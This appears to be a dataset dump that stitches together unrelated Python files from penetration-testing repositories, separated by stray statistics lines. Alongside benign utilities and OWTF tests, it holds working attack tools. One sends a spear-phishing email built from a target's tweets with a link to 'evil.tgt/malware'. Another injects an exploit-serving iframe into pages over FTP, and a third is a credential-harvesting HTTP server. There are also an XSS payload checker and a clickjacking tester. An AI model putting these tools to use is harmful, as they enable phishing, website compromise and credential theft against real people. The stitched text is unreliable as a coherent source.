import requests from ghost import Ghost import logging import os url = 'http://www.realvnc.com' req = requests.get(url) def clickjack(url): html = ''' <html> <body> <iframe src="'''+url+'''"></iframe> </body> </html>''' html_file = 'clickjack.html' log_file = 'test.log' f = open(html_file, 'w+') f.write(html) f.close() logging.basicConfig(filename=log_file) logger = logging.getLogger('ghost') logger.propagate = False ghost = Ghost(log_level=logging.INFO) page, resources = ghost.open(html_file) ghost.exit() l = open(log_file, 'r') if 'forbidden by X-Frame-Options.' in l.read(): print 'Clickjacking mitigated' else: print 'Clickjacking successful' print os.getcwd() l.close() try: xframe = req.headers['x-frame-options'] print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible' except: print 'X-FRAME-OPTIONS missing' print 'attempting clickjacking...' clickjack(url) try: xssprotect = req.headers['X-XSS-Protection'] if 1 not in 'xssprotect': print 'X-XSS-Protection not set properly, XSS may be possible' except: print 'X-XSS-Protection not set, XSS may be possible' try: hsts = req.headers['Strict-Transport-Security'] except: print 'HSTS header not set, MITM should be possible via HTTP'
20.3
79
0.694597
PenetrationTestingScripts
"""Utility functions and date/time routines. Copyright 2002-2006 John J Lee <[email protected]> This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ import re import time import warnings class ExperimentalWarning(UserWarning): pass def experimental(message): warnings.warn(message, ExperimentalWarning, stacklevel=3) def hide_experimental_warnings(): warnings.filterwarnings("ignore", category=ExperimentalWarning) def reset_experimental_warnings(): warnings.filterwarnings("default", category=ExperimentalWarning) def deprecation(message): warnings.warn(message, DeprecationWarning, stacklevel=3) def hide_deprecations(): warnings.filterwarnings("ignore", category=DeprecationWarning) def reset_deprecations(): warnings.filterwarnings("default", category=DeprecationWarning) def write_file(filename, data): f = open(filename, "wb") try: f.write(data) finally: f.close() def get1(sequence): assert len(sequence) == 1 return sequence[0] def isstringlike(x): try: x+"" except: return False else: return True ## def caller(): ## try: ## raise SyntaxError ## except: ## import sys ## return sys.exc_traceback.tb_frame.f_back.f_back.f_code.co_name from calendar import timegm # Date/time conversion routines for formats used by the HTTP protocol. EPOCH = 1970 def my_timegm(tt): year, month, mday, hour, min, sec = tt[:6] if ((year >= EPOCH) and (1 <= month <= 12) and (1 <= mday <= 31) and (0 <= hour <= 24) and (0 <= min <= 59) and (0 <= sec <= 61)): return timegm(tt) else: return None days = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"] months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"] months_lower = [] for month in months: months_lower.append(month.lower()) def time2isoz(t=None): """Return a string representing time in seconds since epoch, t. If the function is called without an argument, it will use the current time. The format of the returned string is like "YYYY-MM-DD hh:mm:ssZ", representing Universal Time (UTC, aka GMT). An example of this format is: 1994-11-24 08:49:37Z """ if t is None: t = time.time() year, mon, mday, hour, min, sec = time.gmtime(t)[:6] return "%04d-%02d-%02d %02d:%02d:%02dZ" % ( year, mon, mday, hour, min, sec) def time2netscape(t=None): """Return a string representing time in seconds since epoch, t. If the function is called without an argument, it will use the current time. The format of the returned string is like this: Wed, DD-Mon-YYYY HH:MM:SS GMT """ if t is None: t = time.time() year, mon, mday, hour, min, sec, wday = time.gmtime(t)[:7] return "%s %02d-%s-%04d %02d:%02d:%02d GMT" % ( days[wday], mday, months[mon-1], year, hour, min, sec) UTC_ZONES = {"GMT": None, "UTC": None, "UT": None, "Z": None} timezone_re = re.compile(r"^([-+])?(\d\d?):?(\d\d)?$") def offset_from_tz_string(tz): offset = None if UTC_ZONES.has_key(tz): offset = 0 else: m = timezone_re.search(tz) if m: offset = 3600 * int(m.group(2)) if m.group(3): offset = offset + 60 * int(m.group(3)) if m.group(1) == '-': offset = -offset return offset def _str2time(day, mon, yr, hr, min, sec, tz): # translate month name to number # month numbers start with 1 (January) try: mon = months_lower.index(mon.lower())+1 except ValueError: # maybe it's already a number try: imon = int(mon) except ValueError: return None if 1 <= imon <= 12: mon = imon else: return None # make sure clock elements are defined if hr is None: hr = 0 if min is None: min = 0 if sec is None: sec = 0 yr = int(yr) day = int(day) hr = int(hr) min = int(min) sec = int(sec) if yr < 1000: # find "obvious" year cur_yr = time.localtime(time.time())[0] m = cur_yr % 100 tmp = yr yr = yr + cur_yr - m m = m - tmp if abs(m) > 50: if m > 0: yr = yr + 100 else: yr = yr - 100 # convert UTC time tuple to seconds since epoch (not timezone-adjusted) t = my_timegm((yr, mon, day, hr, min, sec, tz)) if t is not None: # adjust time using timezone string, to get absolute time since epoch if tz is None: tz = "UTC" tz = tz.upper() offset = offset_from_tz_string(tz) if offset is None: return None t = t - offset return t strict_re = re.compile(r"^[SMTWF][a-z][a-z], (\d\d) ([JFMASOND][a-z][a-z]) " r"(\d\d\d\d) (\d\d):(\d\d):(\d\d) GMT$") wkday_re = re.compile( r"^(?:Sun|Mon|Tue|Wed|Thu|Fri|Sat)[a-z]*,?\s*", re.I) loose_http_re = re.compile( r"""^ (\d\d?) # day (?:\s+|[-\/]) (\w+) # month (?:\s+|[-\/]) (\d+) # year (?: (?:\s+|:) # separator before clock (\d\d?):(\d\d) # hour:min (?::(\d\d))? # optional seconds )? # optional clock \s* ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone \s* (?:\(\w+\))? # ASCII representation of timezone in parens. \s*$""", re.X) def http2time(text): """Returns time in seconds since epoch of time represented by a string. Return value is an integer. None is returned if the format of str is unrecognized, the time is outside the representable range, or the timezone string is not recognized. If the string contains no timezone, UTC is assumed. The timezone in the string may be numerical (like "-0800" or "+0100") or a string timezone (like "UTC", "GMT", "BST" or "EST"). Currently, only the timezone strings equivalent to UTC (zero offset) are known to the function. The function loosely parses the following formats: Wed, 09 Feb 1994 22:23:32 GMT -- HTTP format Tuesday, 08-Feb-94 14:15:29 GMT -- old rfc850 HTTP format Tuesday, 08-Feb-1994 14:15:29 GMT -- broken rfc850 HTTP format 09 Feb 1994 22:23:32 GMT -- HTTP format (no weekday) 08-Feb-94 14:15:29 GMT -- rfc850 format (no weekday) 08-Feb-1994 14:15:29 GMT -- broken rfc850 format (no weekday) The parser ignores leading and trailing whitespace. The time may be absent. If the year is given with only 2 digits, the function will select the century that makes the year closest to the current date. """ # fast exit for strictly conforming string m = strict_re.search(text) if m: g = m.groups() mon = months_lower.index(g[1].lower()) + 1 tt = (int(g[2]), mon, int(g[0]), int(g[3]), int(g[4]), float(g[5])) return my_timegm(tt) # No, we need some messy parsing... # clean up text = text.lstrip() text = wkday_re.sub("", text, 1) # Useless weekday # tz is time zone specifier string day, mon, yr, hr, min, sec, tz = [None]*7 # loose regexp parse m = loose_http_re.search(text) if m is not None: day, mon, yr, hr, min, sec, tz = m.groups() else: return None # bad format return _str2time(day, mon, yr, hr, min, sec, tz) iso_re = re.compile( """^ (\d{4}) # year [-\/]? (\d\d?) # numerical month [-\/]? (\d\d?) # day (?: (?:\s+|[-:Tt]) # separator before clock (\d\d?):?(\d\d) # hour:min (?::?(\d\d(?:\.\d*)?))? # optional seconds (and fractional) )? # optional clock \s* ([-+]?\d\d?:?(:?\d\d)? |Z|z)? # timezone (Z is "zero meridian", i.e. GMT) \s*$""", re.X) def iso2time(text): """ As for http2time, but parses the ISO 8601 formats: 1994-02-03 14:15:29 -0100 -- ISO 8601 format 1994-02-03 14:15:29 -- zone is optional 1994-02-03 -- only date 1994-02-03T14:15:29 -- Use T as separator 19940203T141529Z -- ISO 8601 compact format 19940203 -- only date """ # clean up text = text.lstrip() # tz is time zone specifier string day, mon, yr, hr, min, sec, tz = [None]*7 # loose regexp parse m = iso_re.search(text) if m is not None: # XXX there's an extra bit of the timezone I'm ignoring here: is # this the right thing to do? yr, mon, day, hr, min, sec, tz, _ = m.groups() else: return None # bad format return _str2time(day, mon, yr, hr, min, sec, tz)
28.388889
79
0.561499
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 print("------ For Loop with range default start------") for i in range(5): print("Statement %s ,step 1 "%i) print("------ For Loop with Range specifying start and end ------") for i in range(5,10): print("Statement %s ,step 1 "%i) print("------ For Loop with Range specifying start , end and step ------") step=2 for i in range(1,10,step): print("Statement %s ,step : %s "%(i,step))
22.166667
75
0.603365
cybersecurity-penetration-testing
''' Chrome on Windows 8.1 Safari on iOS IE6 on Windows XP Googlebot ''' import requests import hashlib user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36', 'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4', 'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)', 'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' } responses = {} for name, agent in user_agents.items(): headers = {'User-Agent' : agent} req = requests.get('http://www.google.com', headers=headers) responses[name] = req md5s = {} for name, response in responses.items(): md5s[name] = hashlib.md5(response.text.encode('utf-8')).hexdigest() for name,md5 in md5s.iteritems(): if md5 != md5s['Chrome on Windows 8.1']: print name, 'differs from baseline'
35.655172
158
0.665725
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import smtplib import optparse from email.mime.text import MIMEText from twitterClass import * from random import choice def sendMail(user,pwd,to,subject,text): msg = MIMEText(text) msg['From'] = user msg['To'] = to msg['Subject'] = subject try: smtpServer = smtplib.SMTP('smtp.gmail.com', 587) print "[+] Connecting To Mail Server." smtpServer.ehlo() print "[+] Starting Encrypted Session." smtpServer.starttls() smtpServer.ehlo() print "[+] Logging Into Mail Server." smtpServer.login(user, pwd) print "[+] Sending Mail." smtpServer.sendmail(user, to, msg.as_string()) smtpServer.close() print "[+] Mail Sent Successfully." except: print "[-] Sending Mail Failed." def main(): parser = optparse.OptionParser('usage %prog '+\ '-u <twitter target> -t <target email> '+\ '-l <gmail login> -p <gmail password>') parser.add_option('-u', dest='handle', type='string',\ help='specify twitter handle') parser.add_option('-t', dest='tgt', type='string',\ help='specify target email') parser.add_option('-l', dest='user', type='string',\ help='specify gmail login') parser.add_option('-p', dest='pwd', type='string',\ help='specify gmail password') (options, args) = parser.parse_args() handle = options.handle tgt = options.tgt user = options.user pwd = options.pwd if handle == None or tgt == None\ or user ==None or pwd==None: print parser.usage exit(0) print "[+] Fetching tweets from: "+str(handle) spamTgt = reconPerson(handle) spamTgt.get_tweets() print "[+] Fetching interests from: "+str(handle) interests = spamTgt.find_interests() print "[+] Fetching location information from: "+\ str(handle) location = spamTgt.twitter_locate('mlb-cities.txt') spamMsg = "Dear "+tgt+"," if (location!=None): randLoc=choice(location) spamMsg += " Its me from "+randLoc+"." if (interests['users']!=None): randUser=choice(interests['users']) spamMsg += " "+randUser+" said to say hello." if (interests['hashtags']!=None): randHash=choice(interests['hashtags']) spamMsg += " Did you see all the fuss about "+\ randHash+"?" if (interests['links']!=None): randLink=choice(interests['links']) spamMsg += " I really liked your link to: "+\ randLink+"." spamMsg += " Check out my link to http://evil.tgt/malware" print "[+] Sending Msg: "+spamMsg sendMail(user, pwd, tgt, 'Re: Important', spamMsg) if __name__ == '__main__': main()
24.673077
62
0.614837
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page ftp.storlines('STOR ' + page, open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page host = '192.168.95.179' userName = 'guest' passWord = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, passWord) redirect = '<iframe src='+\ '"http:\\\\10.10.10.112:8080\\exploit"></iframe>' injectPage(ftp, 'index.html', redirect)
22.071429
54
0.613953
owtf
""" Robots.txt semi-passive plugin, parses robots.txt file to generate on-screen links and save them for later spidering and analysis """ import logging from owtf.requester.base import requester from owtf.managers.target import target_manager from owtf.plugin.helper import plugin_helper DESCRIPTION = "Normal request for robots.txt analysis" def run(PluginInfo): top_url = target_manager.get_val("top_url") url = "{}/robots.txt".format(top_url) test_result = [] # Use transaction cache if possible for speed http_transaction = requester.get_transaction(True, url, "GET") if http_transaction is not None and http_transaction.found: test_result += plugin_helper.ProcessRobots( PluginInfo, http_transaction.get_raw_response_body, top_url, "" ) else: # robots.txt NOT found logging.info("robots.txt was NOT found") test_result += plugin_helper.TransactionTableForURLList(True, [url]) return test_result
34.071429
76
0.714577
owtf
""" tests.functional.cli.test_list_plugins ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ from tests.owtftest import OWTFCliTestCase class OWTFCliListPluginsTest(OWTFCliTestCase): categories = ["cli"] def test_cli_list_plugins_aux(self): """Run OWTF to list the aux plugins.""" expected = [ "Available AUXILIARY plugins", "exploit", "smb", "bruteforce", "dos", "se", "rce", "selenium", ] self.run_owtf("-l", "auxiliary") self.assert_are_in_logs(expected, name="MainProcess") def test_cli_list_plugins_net(self): """Run OWTF to list the net plugins.""" expected = ["Available NETWORK plugins", "active", "bruteforce"] self.run_owtf("-l", "network") self.assert_are_in_logs(expected, name="MainProcess") def test_cli_list_plugins_web(self): """Run OWTF to list the web plugins.""" expected = [ "Available WEB plugins", "external", "active", "passive", "grep", "semi_passive", ] self.run_owtf("-l", "web") self.assert_are_in_logs(expected, name="MainProcess")
24.714286
72
0.514694
cybersecurity-penetration-testing
import SimpleHTTPServer import SocketServer import urllib class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) creds = self.rfile.read(content_length).decode('utf-8') print creds site = self.path[1:] self.send_response(301) self.send_header('Location', urllib.unquote(site)) self.end_headers() server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler) server.serve_forever()
32.625
70
0.698324
Ethical-Hacking-Scripts
import urllib.request, sys from optparse import OptionParser class XSSPayloadChecker: def __init__(self, website, payloadfile): self.website = website try: self.payloadfile = open(payloadfile, "rb") except: print("[+] The file provided is invalid!") sys.exit() self.payloads = [] if "/?" not in self.website: print("[+] Invalid Website! You need to provide a query string for the link.\n[+] Example: http://example.com/?search=") sys.exit() self.check_payloads() def check_payloads(self): for i in self.payloadfile.read().splitlines(): try: try: i = i.decode() except: i = str(i) payload = self.website + i req = urllib.request.Request(url=payload) linkopen = urllib.request.urlopen(req) try: info = linkopen.read().decode() except: info = linkopen.read() if i in info: print(f"[!] The site is vulnerable to: {i}") if i not in self.payloads: self.payloads.append(i) except: pass print(f"[+] Available Cross-Site-Scripting Payloads: {self.payloads}") self.payloadfile.close() class OptionParse: def __init__(self): self.logo() self.parse_args() def logo(self): print(""" _____ _ ___ __ _____ _____ __ ___ / ____| (_) | \ \ / // ____/ ____| /_ | / _ \ | (___ __ _ _ _ _ __| |\ V /| (___| (___ __ _| || | | | \___ \ / _` | | | | |/ _` | > < \___ \ ___ \ \ \ / / || | | | ____) | (_| | |_| | | (_| |/ . \ ____) |___) | \ V /| || |_| | |_____/ \__, |\__,_|_|\__,_/_/ \_\_____/_____/ \_/ |_(_)___/ | | |_| XSS-Payload Checker Script By DrSquid""") def usage(self): print(""" [+] Option-Parsing Help: [+] -w, --website - Specify the Target Website(add a search query string at the end). [+] -p, --payloadfile - Specify the File with the XSS Payloads. [+] -i, --info - Shows this message. [+] Usage: [+] python3 SquidXSS.py -w <website> -p <payloadfile> [+] python3 SquidXSS.py -i""") def parse_args(self): args = OptionParser() args.add_option("-w","--website", dest="web") args.add_option("-p","--payloadfile", dest="plfile") args.add_option("-i","--info",dest="info",action="store_true") opt, arg = args.parse_args() if opt.info is not None: self.usage() sys.exit() if opt.web is not None: web = opt.web else: self.usage() sys.exit() if opt.plfile is not None: plfile = opt.plfile else: self.usage() sys.exit() XSSPayload = XSSPayloadChecker(web, plfile) Argparse = OptionParse()
37.2
133
0.421442
README.md exists but content is empty. Use the Edit dataset card button to edit it.
Downloads last month
59
Edit dataset card